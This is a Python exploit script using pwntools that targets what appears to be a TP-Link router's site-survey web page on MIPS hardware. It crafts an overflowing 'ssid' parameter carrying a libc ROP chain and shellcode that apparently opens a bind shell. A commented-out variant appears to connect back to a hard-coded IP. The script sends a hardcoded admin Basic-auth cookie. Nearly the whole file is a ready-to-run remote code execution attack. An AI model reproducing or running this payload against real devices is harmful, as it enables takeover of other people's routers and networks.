#!/usr/bin/python
from pwn import *
import requests
from requests import ConnectionError
import sys
#import socket
#import socks
import urllib
#import struct
#default_socket = socket.socket
#socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
context.endian = 'big' 
context.arch="mips"
libc_base=0x77f3a000 
#libc_base=0x77f39000
sleep =0x53CA0 #end 00053ECC

#gadgets
g1=0x000E204 #0x77F47204
#LOAD:0000E204                 move    $t9, $s1
#LOAD:0000E208                 jalr    $t9 ; sysconf
#LOAD:0000E20C                 li      $a0, 3
g2=0x00037470
#LOAD:00037470                 move    $t9, $s2
#LOAD:00037474                 lw      $ra, 0x28+var_4($sp)
#LOAD:00037478                 lw      $s2, 0x28+var_8($sp)
#LOAD:0003747C                 lw      $s1, 0x28+var_C($sp)
#LOAD:00037480                 lw      $s0, 0x28+var_10($sp)
#LOAD:00037484
#LOAD:00037484 loc_37484:
#LOAD:00037484                 jr      $t9 ; xdr_opaque_auth
#LOAD:00037488                 addiu   $sp, 0x28
g3=0x0000E904 #0x77f47904
#LOAD:0000E904                 addiu   $a1, $sp, 0x168+var_150
#LOAD:0000E908                 move    $t9, $s1
#LOAD:0000E90C                 jalr    $t9 ; stat64
#LOAD:0000E910                 addiu   $a0, (aErrorNetrcFile+0x28 - 0x60000)
g4=0x00374D8
#LOAD:000374D8                 move    $t9, $a1
#LOAD:000374DC                 sw      $v0, 0x4C($a0)
#LOAD:000374E0                 move    $a1, $a2
#LOAD:000374E4                 jr      $t9
#LOAD:000374E8                 addiu   $a0, 0x4C  # 'L'

shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"

#shellcode = "\x24\x0f\xff\xfa"+"\x01\xe0\x78\x27"+"\x21\xe4\xff\xfd"+"\x21\xe5\xff\xfd"+"\x28\x06\xff\xff"+"\x24\x02\x10\x57"+"\x01\x01\x01\x0c"
#shellcode += "\xaf\xa2\xff\xff"+"\x8f\xa4\xff\xff"+"\x34\x0f\xff\xfd"+"\x01\xe0\x78\x27"+"\xaf\xaf\xff\xe0"+"\x35\x6b\xff\x3c\x0e\x09\x1d"
#shellcode += "\x35\xce\x7a\x69"+"\xaf\xae\xff\xe4"+"\x35\x6b\xff\x3c\x0e\xc0\xa8"+"\x35\xce\xb1\x93"+"\xaf\xae\xff\xe6"
#shellcode += "\x27\xa5\xff\xe2"+"\x24\x0c\xff\xef"+"\x01\x80\x30\x27"+"\x24\x02\x10\x4a"+"\x01\x01\x01\x0c"+"\x24\x0f\xff\xfd"+"\x01\xe0\x28\x27"
#shellcode += "\x8f\xa4\xff\xff"+"\x24\x02\x0f\xdf"+"\x01\x01\x01\x0c"+"\x24\xa5\xff\xff"+"\x24\x01\xff\xff"+"\x14\xa1\xff\xfb"
#shellcode += "\x28\x06\xff\xff"+"\x35\x6b\xff\x3c\x1d\x77\xf9"+"\x37\xbd\x3d\x38"+"\xaf\xa0\xff\xf4"+"\x27\xa4\xff\xf0"+"\xaf\xa4\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa5\xff\xf8"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"
#shellcode += "\x28\x06\xff\xff"+"\x35\x6b\xff\x3c\x0f\x77\xf9"+"\x35\xef\x3d\x29"+"\x25\xe4\xff\xff"+"\x25\xe5\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"

s0=p32(0x11111111)
s1=p32(g2+libc_base) # break 
s2=p32(sleep+libc_base)

payload= "/%0A"*0x55 +2*'x'+s0 +s1 +s2
payload+=p32(g1+libc_base)  
payload+='x'*28
payload+=p32(g4+libc_base) #s1
payload+=p32(0x33333333) #s2
payload+=p32(g3+libc_base) #ra
payload+='x'*24
payload+=shellcode

print "1"

def exp(path,cookie,ip_port):
    headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
                "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
    print "1"
    params = {
        "mode":"1000",
                "curRegion":"1000",
                "chanWidth":"100",
                "channel":"1000",
                "ssid":urllib.unquote(payload)
        }
    url="http://{ip_port}/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(ip_port=str(ip_port), path=str(path))
    try:
        resp = session.get(url,params=params,headers=headers,timeout=10)
    except ConnectionError:
	print "good"
path = sys.argv[1].upper()
ip_port = sys.argv[2]
exp(path,"%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D", ip_port)

